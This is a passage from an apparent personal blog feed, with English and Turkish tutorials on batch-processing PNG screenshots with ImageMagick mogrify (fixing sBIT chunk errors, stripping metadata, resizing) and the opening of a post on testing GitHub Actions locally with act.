&lt;h3 id="2-full-cleaning-strip-and-beyond"&gt;2. Full Cleaning: -strip and Beyond&lt;a class="headerlink" href="#2-full-cleaning-strip-and-beyond" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If you say "I don't want metadata, date, or camera information in my file, just let the image remain":&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~/screenshots$&lt;span class="w"&gt; &lt;/span&gt;mogrify&lt;span class="w"&gt; &lt;/span&gt;-strip&lt;span class="w"&gt; &lt;/span&gt;-quality&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;95&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;*.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;-strip&lt;/code&gt; command scrapes off all EXIF and ICC profile data. However, be careful; when color profiles are gone, colors may look slightly pale on some screens. If you are not doing professional photography (which you probably aren't for blog images), this is a great trade-off to reduce file size.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="bulk-resizing-and-that-critical-sign_1"&gt;📐 Bulk Resizing and that Critical "&amp;gt;" Sign&lt;a class="headerlink" href="#bulk-resizing-and-that-critical-sign" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;One of the biggest mistakes is just typing &lt;code&gt;1200x1200&lt;/code&gt;. If you don't put that &lt;code&gt;&amp;gt;&lt;/code&gt; sign at the end, ImageMagick will forcefully upscale your already small images to 1200 pixels, and you'll end up with a muddy result.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Only resize those larger than 1200px, don't touch the smaller ones!&lt;/span&gt;
yuceltoluyag@archlinux:~/screenshots$&lt;span class="w"&gt; &lt;/span&gt;mogrify&lt;span class="w"&gt; &lt;/span&gt;-resize&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1200x1200&amp;gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;*.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This sign is the hidden hero of the terminal. You won't easily find this meticulousness in GUI programs, my friend.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="imagemagick-vs-graphicsmagick-gm"&gt;🥊 ImageMagick vs. GraphicsMagick (GM)&lt;a class="headerlink" href="#imagemagick-vs-graphicsmagick-gm" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Let me leave a piece of "geek" information here: GraphicsMagick (gm), which split from ImageMagick in a rebellion back in 2002, can sometimes be a more stable alternative that consumes less RAM. If you have thousands of files, try this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~/screenshots$&lt;span class="w"&gt; &lt;/span&gt;gm&lt;span class="w"&gt; &lt;/span&gt;mogrify&lt;span class="w"&gt; &lt;/span&gt;-strip&lt;span class="w"&gt; &lt;/span&gt;-resize&lt;span class="w"&gt; &lt;/span&gt;800x800&lt;span class="w"&gt; &lt;/span&gt;*.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;But for bloggers like us, ImageMagick is still sitting on its throne. You just need to pay attention to those restrictive "Resource Limit" slaps in the &lt;code&gt;/etc/ImageMagick-7/policy.xml&lt;/code&gt; file. If you are getting a &lt;code&gt;cache resources exhausted&lt;/code&gt; error, you need to tear that file apart and increase the limits.&lt;/p&gt;
&lt;h2 id="verification-did-it-work"&gt;🔍 Verification: "Did It Work?"&lt;a class="headerlink" href="#verification-did-it-work" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you want to take an X-ray after finishing the process, the &lt;code&gt;identify&lt;/code&gt; command comes to our rescue:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~/screenshots$&lt;span class="w"&gt; &lt;/span&gt;identify&lt;span class="w"&gt; &lt;/span&gt;-verbose&lt;span class="w"&gt; &lt;/span&gt;resim.png&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"png\|chunk"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If the output is clean, it means you have finished your job as a terminal wolf like &lt;code&gt;Friday13&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;Remember; terminal is a matter of patience. When you get an error, instead of hitting your head on the keyboard, look at your parameters again. As I said in my &lt;a href="/en/arch-linux-disk-alani-gorunmuyor-cozum/"&gt;Arch Linux Disk Space Not Visible Solution&lt;/a&gt; post, sometimes the biggest problems are hidden in the simplest settings.&lt;/p&gt;
&lt;p&gt;Farewell, I am going to sleep now karda&amp;scedil;!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="related-posts"&gt;🔗 Related Posts&lt;a class="headerlink" href="#related-posts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-disk-alani-gorunmuyor-cozum/"&gt;Arch Linux Disk Space Not Visible Solution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/linux-guvenlik-clamav-tam-kapsamli-rehber/"&gt;Linux Security: A Full Comprehensive Guide with ClamAV&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performance Settings&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-nvidia-ekran-karti-kurulumu/"&gt;Nvidia Graphics Card Installation in Arch Linux&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;code&gt;mogrify&lt;/code&gt; overwrites files. Those who don't back up will be left stranded, my friend. Also, with ImageMagick v7, you may need to add &lt;code&gt;magick&lt;/code&gt; to the beginning of commands; try it as &lt;code&gt;magick mogrify&lt;/code&gt; on your system.
I need sleep, my eyes are closing, karda&amp;scedil;. Farewell! Take a look at my &lt;a href="/en/arch-linux-disk-alani-gorunmuyor-cozum/"&gt;Arch Linux Disk Space Not Visible Solution&lt;/a&gt; article sometime, that one is also full of trouble. Alright, goodbye karda&amp;scedil;!&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Linux"/><category term="imagemagick"/><category term="mogrify"/><category term="png"/><category term="linux"/><category term="terminal"/></entry><entry><title>PNG Dosyalarıyla İmtihanım: Mogrify ve O Sinir Bozucu Chunk Hataları</title><link href="https://yuceltoluyag.github.io/png-mogrify-chunk-hatalari-cozumu/" rel="alternate"/><published>2026-05-10T21:40:00+03:00</published><updated>2026-05-10T21:40:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-10:/png-mogrify-chunk-hatalari-cozumu/</id><summary type="html">&lt;p&gt;Mogrify ile PNG işlerken karşınıza çıkan 'sBIT: bad length' hatalarının gerçek nedenini ve bu chunk belasından kurtulmanın en hızlı yolunu paylaşıyorum.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Bazen uykusuz ge&amp;ccedil;en gecelerin sabah&amp;inodot; olduk&amp;ccedil;a yorucu olabiliyor; kahve buz gibi, g&amp;ouml;zler kan &amp;ccedil;ana&amp;gbreve;&amp;inodot;... Ge&amp;ccedil;en g&amp;uuml;n s&amp;inodot;rf 500 tane ekran g&amp;ouml;r&amp;uuml;nt&amp;uuml;s&amp;uuml;n&amp;uuml; h&amp;inodot;zl&amp;inodot;ca k&amp;uuml;&amp;ccedil;&amp;uuml;lt&amp;uuml;p siteye atmak i&amp;ccedil;in terminalin ba&amp;scedil;&amp;inodot;na ge&amp;ccedil;tim. "&amp;Idot;ki sat&amp;inodot;r &lt;code&gt;mogrify&lt;/code&gt; yazar, uyurum" diyordum. Ama terminal o k&amp;inodot;rm&amp;inodot;z&amp;inodot; yaz&amp;inodot;larla bana ba&amp;gbreve;&amp;inodot;rmaya ba&amp;scedil;lay&amp;inodot;nca i&amp;scedil;in rengi de&amp;gbreve;i&amp;scedil;ti: &lt;code&gt;libpng warning: sBIT: bad length&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;&amp;Ouml;zellikle Windows'un ekran al&amp;inodot;nt&amp;inodot;s&amp;inodot; arac&amp;inodot;yla al&amp;inodot;nan PNG'lerde bu chunk (veri blo&amp;gbreve;u) hatas&amp;inodot; tam bir ba&amp;scedil; belas&amp;inodot;. E&amp;gbreve;er siz de benim gibi terminal &amp;uuml;zerinden bir boks ma&amp;ccedil;&amp;inodot;na &amp;ccedil;&amp;inodot;km&amp;inodot;&amp;scedil; hissediyorsan&amp;inodot;z, gelin bu ImageMagick canavar&amp;inodot;n&amp;inodot; nas&amp;inodot;l dizginleyece&amp;gbreve;imize bakal&amp;inodot;m.&lt;/p&gt;
&lt;h2 id="mogrify-vs-convert-uzerine-yazma-kumar"&gt;🛠️ Mogrify vs. Convert: "&amp;Uuml;zerine Yazma" Kumar&amp;inodot;&lt;a class="headerlink" href="#mogrify-vs-convert-uzerine-yazma-kumar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Ouml;nce &amp;scedil;u temel meseleyi aradan &amp;ccedil;&amp;inodot;karal&amp;inodot;m: &lt;code&gt;convert&lt;/code&gt; orijinal dosyan&amp;inodot;z&amp;inodot; korur, &lt;code&gt;mogrify&lt;/code&gt; ise g&amp;ouml;z&amp;uuml;n&amp;uuml;n ya&amp;scedil;&amp;inodot;na bakmadan &amp;uuml;zerine dalar. &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~/screenshots$&lt;span class="w"&gt; &lt;/span&gt;cp&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;images/&lt;span class="w"&gt; &lt;/span&gt;images_yedek/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# &amp;Ouml;NCE YEDEK AL!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er elinizde milyonlarca dosya yoksa, h&amp;inodot;z&amp;inodot;yla bilinen ama hantal kalabilen ImageMagick yerine &lt;a href="/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performans Ayarlar&amp;inodot;&lt;/a&gt; yaz&amp;inodot;mda bahsetti&amp;gbreve;im gibi i&amp;scedil;lemciyi verimli kullanmak &amp;ouml;nemli. Ancak &lt;code&gt;mogrify&lt;/code&gt; toplu i&amp;scedil;lemde hala kral. Ama yedeksiz &amp;ccedil;al&amp;inodot;&amp;scedil;mak, terminalde intihar etmektir karda&amp;scedil;.&lt;/p&gt;
&lt;h2 id="png-chunk-belasndan-kurtulmak"&gt;🧹 PNG Chunk Belas&amp;inodot;ndan Kurtulmak&lt;a class="headerlink" href="#png-chunk-belasndan-kurtulmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;PNG dosyalar&amp;inodot; sadece piksellerden olu&amp;scedil;muyor. &amp;Idot;&amp;ccedil;inde NASA d&amp;ouml;k&amp;uuml;man&amp;inodot; gibi IHDR, IDAT ve bizim ba&amp;scedil; d&amp;uuml;&amp;scedil;man&amp;inodot;m&amp;inodot;z &lt;code&gt;sBIT&lt;/code&gt; gibi chunk'lar var. Bu &lt;code&gt;sBIT&lt;/code&gt; blo&amp;gbreve;u asl&amp;inodot;nda renk derinli&amp;gbreve;i bilgisi tutuyor ama bazen boyu (length) hatal&amp;inodot; geliyor ve &lt;code&gt;libpng&lt;/code&gt; bunu g&amp;ouml;r&amp;uuml;nce hata f&amp;inodot;rlat&amp;inodot;yor.&lt;/p&gt;
&lt;h3 id="1-sbit-hatasn-kokten-cozmek"&gt;1. sBIT Hatas&amp;inodot;n&amp;inodot; K&amp;ouml;kten &amp;Ccedil;&amp;ouml;zmek&lt;a class="headerlink" href="#1-sbit-hatasn-kokten-cozmek" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Hatalar&amp;inodot; susturman&amp;inodot;n en temiz yolu, dosyay&amp;inodot; i&amp;scedil;lerken o sorunlu blo&amp;gbreve;u d&amp;inodot;&amp;scedil;ar&amp;inodot;da b&amp;inodot;rakmakt&amp;inodot;r:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~/screenshots$&lt;span class="w"&gt; &lt;/span&gt;mogrify&lt;span class="w"&gt; &lt;/span&gt;-define&lt;span class="w"&gt; &lt;/span&gt;png:exclude-chunks&lt;span class="o"&gt;=&lt;/span&gt;sBIT&lt;span class="w"&gt; &lt;/span&gt;*.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu komutla "Senin sBIT z&amp;inodot;kk&amp;inodot;m&amp;inodot;nla u&amp;gbreve;ra&amp;scedil;amam, at bunu &amp;ccedil;&amp;ouml;pe" diyoruz. Kalite bozuluyor mu? Yo, ben bir nane fark etmedim. Dosya ferahl&amp;inodot;yor, hatalar kesiliyor.&lt;/p&gt;
&lt;h3 id="2-tam-temizlik-strip-ve-otesi"&gt;2. Tam Temizlik: -strip ve &amp;Ouml;tesi&lt;a class="headerlink" href="#2-tam-temizlik-strip-ve-otesi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;"Dosyamda metadata, tarih, kamera bilgisi istemiyorum, sadece g&amp;ouml;rsel kals&amp;inodot;n" diyorsan&amp;inodot;z:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~/screenshots$&lt;span class="w"&gt; &lt;/span&gt;mogrify&lt;span class="w"&gt; &lt;/span&gt;-strip&lt;span class="w"&gt; &lt;/span&gt;-quality&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;95&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;*.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;-strip&lt;/code&gt; komutu t&amp;uuml;m EXIF ve ICC profil verilerini kaz&amp;inodot;r atar. Ancak dikkat; renk profilleri gidince baz&amp;inodot; ekranlarda renkler hafif soluk g&amp;ouml;r&amp;uuml;nebilir. E&amp;gbreve;er profesyonel foto&amp;gbreve;raf&amp;ccedil;&amp;inodot;l&amp;inodot;k yapm&amp;inodot;yorsan&amp;inodot;z (ki blog g&amp;ouml;rselleri i&amp;ccedil;in yapm&amp;inodot;yorsunuzdur) bu durum dosya boyutunu d&amp;uuml;&amp;scedil;&amp;uuml;rmek i&amp;ccedil;in harika bir takas.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="toplu-boyutlandrma-ve-o-kritik-isareti_1"&gt;📐 Toplu Boyutland&amp;inodot;rma ve o Kritik "&amp;gt;" &amp;Idot;&amp;scedil;areti&lt;a class="headerlink" href="#toplu-boyutlandrma-ve-o-kritik-isareti" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;En b&amp;uuml;y&amp;uuml;k hatalardan biri &lt;code&gt;1200x1200&lt;/code&gt; yaz&amp;inodot;p b&amp;inodot;rakmak. E&amp;gbreve;er o sona &lt;code&gt;&amp;gt;&lt;/code&gt; i&amp;scedil;aretini koymazsan&amp;inodot;z, ImageMagick zaten k&amp;uuml;&amp;ccedil;&amp;uuml;k olan g&amp;ouml;rsellerinizi de zorla 1200 piksele b&amp;uuml;y&amp;uuml;t&amp;uuml;r ve kar&amp;scedil;&amp;inodot;n&amp;inodot;za &amp;ccedil;amur gibi bir sonu&amp;ccedil; &amp;ccedil;&amp;inodot;kar.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Sadece 1200px'den b&amp;uuml;y&amp;uuml;k olanlar&amp;inodot; k&amp;uuml;&amp;ccedil;&amp;uuml;lt, k&amp;uuml;&amp;ccedil;&amp;uuml;kleri elleme!&lt;/span&gt;
yuceltoluyag@archlinux:~/screenshots$&lt;span class="w"&gt; &lt;/span&gt;mogrify&lt;span class="w"&gt; &lt;/span&gt;-resize&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1200x1200&amp;gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;*.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu i&amp;scedil;aret terminalin gizli kahraman&amp;inodot;d&amp;inodot;r. GUI programlar&amp;inodot;nda bu titizli&amp;gbreve;i zor bulursunuz hac&amp;inodot;.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="imagemagick-vs-graphicsmagick-gm"&gt;🥊 ImageMagick vs. GraphicsMagick (GM)&lt;a class="headerlink" href="#imagemagick-vs-graphicsmagick-gm" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Burada bir "geek" bilgisi b&amp;inodot;rakay&amp;inodot;m: 2002'de bir isyanla ImageMagick'ten ayr&amp;inodot;lan GraphicsMagick (gm) bazen daha stabil ve az RAM t&amp;uuml;keten bir alternatif olabilir. E&amp;gbreve;er binlerce dosyan&amp;inodot;z varsa &amp;scedil;unu deneyin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~/screenshots$&lt;span class="w"&gt; &lt;/span&gt;gm&lt;span class="w"&gt; &lt;/span&gt;mogrify&lt;span class="w"&gt; &lt;/span&gt;-strip&lt;span class="w"&gt; &lt;/span&gt;-resize&lt;span class="w"&gt; &lt;/span&gt;800x800&lt;span class="w"&gt; &lt;/span&gt;*.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ama bizim gibi blogcular i&amp;ccedil;in ImageMagick hala taht&amp;inodot;nda oturuyor. Sadece &lt;code&gt;/etc/ImageMagick-7/policy.xml&lt;/code&gt; dosyas&amp;inodot;ndaki o k&amp;inodot;s&amp;inodot;tlay&amp;inodot;c&amp;inodot; "Resource Limit" tokatlar&amp;inodot;na dikkat etmek laz&amp;inodot;m. &lt;code&gt;cache resources exhausted&lt;/code&gt; hatas&amp;inodot; al&amp;inodot;yorsan&amp;inodot;z, o dosyan&amp;inodot;n ci&amp;gbreve;erini s&amp;ouml;k&amp;uuml;p limitleri art&amp;inodot;rman&amp;inodot;z gerekir.&lt;/p&gt;
&lt;h2 id="dogrulama-oldu-mu"&gt;🔍 Do&amp;gbreve;rulama: "Oldu mu?"&lt;a class="headerlink" href="#dogrulama-oldu-mu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;lemi bitirdikten sonra r&amp;ouml;ntgen &amp;ccedil;ekmek isterseniz &lt;code&gt;identify&lt;/code&gt; komutu imdad&amp;inodot;m&amp;inodot;za yeti&amp;scedil;iyor:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~/screenshots$&lt;span class="w"&gt; &lt;/span&gt;identify&lt;span class="w"&gt; &lt;/span&gt;-verbose&lt;span class="w"&gt; &lt;/span&gt;resim.png&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"png\|chunk"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er &amp;ccedil;&amp;inodot;kt&amp;inodot; temizse, &lt;code&gt;Friday13&lt;/code&gt; gibi bir terminal kurdu olarak i&amp;scedil;inizi bitirmi&amp;scedil;siniz demektir. &lt;/p&gt;
&lt;p&gt;Unutmay&amp;inodot;n; terminal sab&amp;inodot;r i&amp;scedil;idir. Hata ald&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda klavyeye kafa atmak yerine parametrelerinize bir daha bak&amp;inodot;n. &lt;a href="/arch-linux-disk-alani-gorunmuyor-cozum/"&gt;Arch Linux Disk Alan&amp;inodot; G&amp;ouml;r&amp;uuml;nmuyor &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;&lt;/a&gt; yaz&amp;inodot;mda da dedi&amp;gbreve;im gibi, bazen en b&amp;uuml;y&amp;uuml;k sorunlar en basit ayarlarda gizlidir.&lt;/p&gt;
&lt;p&gt;Kal&amp;inodot;n sa&amp;gbreve;l&amp;inodot;cakla, ben art&amp;inodot;k uyumaya gidiyorum karda&amp;scedil;!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="ilgili-yazlar"&gt;🔗 &amp;Idot;lgili Yaz&amp;inodot;lar&lt;a class="headerlink" href="#ilgili-yazlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/arch-linux-disk-alani-gorunmuyor-cozum/"&gt;Arch Linux Disk Alan&amp;inodot; G&amp;ouml;r&amp;uuml;nmuyor &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/linux-guvenlik-clamav-tam-kapsamli-rehber/"&gt;Linux G&amp;uuml;venlik: ClamAV ile Tam Kapsaml&amp;inodot; Rehber&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performans Ayarlar&amp;inodot;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-nvidia-ekran-karti-kurulumu/"&gt;Arch Linux'ta Nvidia Ekran Kart&amp;inodot; Kurulumu&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;&lt;code&gt;mogrify&lt;/code&gt; dosyalar&amp;inodot;n &amp;uuml;zerine yazar. Yedek almayan yolda kal&amp;inodot;r hac&amp;inodot;. Ayr&amp;inodot;ca ImageMagick v7 ile komutlar&amp;inodot;n ba&amp;scedil;&amp;inodot;na &lt;code&gt;magick&lt;/code&gt; eklemeniz gerekebilir; sisteminizde &lt;code&gt;magick mogrify&lt;/code&gt; &amp;scedil;eklinde deneyin.
 uykuya ihtiyac&amp;inodot;m var, g&amp;ouml;zlerim kapan&amp;inodot;yor karda&amp;scedil;. Hadi kal&amp;inodot;n sa&amp;gbreve;l&amp;inodot;cakla! &lt;a href="/arch-linux-disk-alani-gorunmuyor-cozum/"&gt;Arch Linux Disk Alan&amp;inodot; G&amp;ouml;r&amp;uuml;nmuyor &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;&lt;/a&gt; yaz&amp;inodot;ma da bi' bak&amp;inodot;n bi' ara, o da dertlidir. Hadi eyvallah karda&amp;scedil;!&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Linux"/><category term="imagemagick"/><category term="mogrify"/><category term="png"/><category term="linux"/><category term="terminal"/></entry><entry><title>Running GitHub Actions Locally: Closing the "Trial and Error" Era with act</title><link href="https://yuceltoluyag.github.io/en/github-actions-yerelde-test-etme-act/" rel="alternate"/><published>2026-05-08T22:45:00+03:00</published><updated>2026-05-08T22:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-08:/en/github-actions-yerelde-test-etme-act/</id><summary type="html">&lt;p&gt;Tired of committing with "test" every time you write GitHub Actions? An in-depth guide on how to test your workflows locally via Docker using act. (Guide)&lt;/p&gt;</summary><content type="html">&lt;p&gt;Is it peer pressure or those annoying commit messages like "test 1", "test 2", "please work already"? Sometimes I ask myself, why do we choose the hard way when there's an easier one? You write a yaml file, and you have to hit that &lt;code&gt;git push&lt;/code&gt; command just to see if there's a tiny syntax error. Then what happens? Uncle GitHub spins and spins, then boom "Failed". Start over... It's literally technological torture.&lt;/p&gt;
&lt;p&gt;Fortunately, I put an end to this torture the other day. You know that famous &lt;strong&gt;act&lt;/strong&gt; (nektos/act) thing? It turns out that was our savior. It turns out we were tiring out GitHub's servers (and trashing our own commit history) for nothing.&lt;/p&gt;
&lt;h2 id="what-is-this-act-and-why-havent-i-used-it-until-now"&gt;What is this "act" and Why Haven't I Used it Until Now?&lt;a class="headerlink" href="#what-is-this-act-and-why-havent-i-used-it-until-now" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Interestingly, this tool works with a very simple logic: it brings the environment used by GitHub Actions to your computer via Docker. So, it takes your files in the &lt;code&gt;.github/workflows&lt;/code&gt; folder, spins up a Docker container, and runs everything there as if you were on GitHub.&lt;/p&gt;
&lt;p&gt;Let's be honest, most of us go "groping in the dark" while writing GitHub Actions. The organized commit structure I mentioned in my &lt;a href="/en/github-commit-atma-rehberi/"&gt;GitHub commit guide&lt;/a&gt; literally gasps for air during Actions trials. This is where &lt;code&gt;act&lt;/code&gt; comes in. You can say, "Let me see if it works correctly before pushing."&lt;/p&gt;
&lt;h2 id="before-you-start-docker-is-a-must-peer-pressure-is-back"&gt;Before You Start: Docker is a Must (Peer Pressure is Back)&lt;a class="headerlink" href="#before-you-start-docker-is-a-must-peer-pressure-is-back" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This is very important: &lt;code&gt;act&lt;/code&gt; is not a magician on its own. It needs a Docker engine in the background. If Docker is not installed on your system, &lt;code&gt;act&lt;/code&gt; will only give you a sad error message.&lt;/p&gt;
&lt;p&gt;If you are using Arch Linux (which you probably are if you are an Arch lover like me), I suggest you take a look at my &lt;a href="/en/arch-linux-docker-kurulumu/"&gt;Arch Linux Docker installation&lt;/a&gt; post. I explained everything in detail there; install it completely so that &lt;code&gt;act&lt;/code&gt; doesn't give you a hard time.&lt;/p&gt;
&lt;h3 id="installation-time-to-fire-up-the-terminal"&gt;Installation: Time to Fire Up the Terminal&lt;a class="headerlink" href="#installation-time-to-fire-up-the-terminal" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The installation part is actually quite painless. Since I usually like to handle everything from the terminal, I will show you that way too.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Linux (Arch):&lt;/strong&gt; &lt;code&gt;yay -S act&lt;/code&gt; or &lt;code&gt;pacman -S act&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MacOS:&lt;/strong&gt; &lt;code&gt;brew install act&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows:&lt;/strong&gt; &lt;code&gt;choco install act-cli&lt;/code&gt; or &lt;code&gt;winget install nektos.act&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After the installation is finished, type &lt;code&gt;act --version&lt;/code&gt; to come to your senses. Seeing that output on the screen makes you feel relieved, you say "Okay, at least we did something right."&lt;/p&gt;
&lt;h2 id="first-run-meeting-act_1"&gt;First Run: Meeting "act"&lt;a class="headerlink" href="#first-run-meeting-act" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Installation is done, Docker is ready. Now go to the root directory of your project and type this magical command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;act&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;If you don't give any parameters, &lt;code&gt;act&lt;/code&gt; starts running all jobs linked to the &lt;code&gt;push&lt;/code&gt; event in order. When you run it for the first time, it will ask you which Docker image you want to use.&lt;/p&gt;
&lt;h3 id="image-selection-large-medium-or-tiny"&gt;Image Selection: Large, Medium, or Tiny?&lt;a class="headerlink" href="#image-selection-large-medium-or-tiny" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;When you first run it, &lt;code&gt;act&lt;/code&gt; will ask you a question: "Which image do you want to use?" This is exactly a "red pill, blue pill" moment.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Large:&lt;/strong&gt; About 17GB download, 53GB storage... It wants 75GB of free space in total! It's like a copy of the original machines on GitHub, but it leaves no room on your SSD.&lt;/li&gt;
